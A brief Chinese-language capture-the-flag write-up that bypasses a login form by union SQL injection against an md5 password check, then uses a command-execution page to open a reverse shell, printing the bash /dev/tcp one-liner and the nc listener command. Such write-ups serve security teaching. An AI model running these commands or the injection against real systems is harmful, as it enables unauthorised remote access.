hint:union,命令执行
我们的第一步就是要利用union注入进行登录了,bp抓个包看看:
相应头这里还是给了我们一个tip的,base64解码得到:
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}
这告诉我们要登录要满足的条件:查询结果不为空,其次,输入的password的值要等于md5(password)。
利用union进行如下post:
这样就能用后台数据库中并不存在的密码来绕过并登录成功:
下面进入一个命令执行的页面:
看了一些wp,有的是用py脚本进行爆破,命令执行的结果太乱了,看不出什么门道,最后还是采用的反弹shell来做的。
反弹shell需要有公网ip,我们假设有个公网ip192.168.10.130,不用公网ip的话就线下赛局域网做题也行。
输入bash -i >& /dev/tcp/192.168.10.130/8888 0>&1并执行,然后在kali上运行命令:nc -lvp 8888,就能进行连接了,找到flag文件就拿到flag了。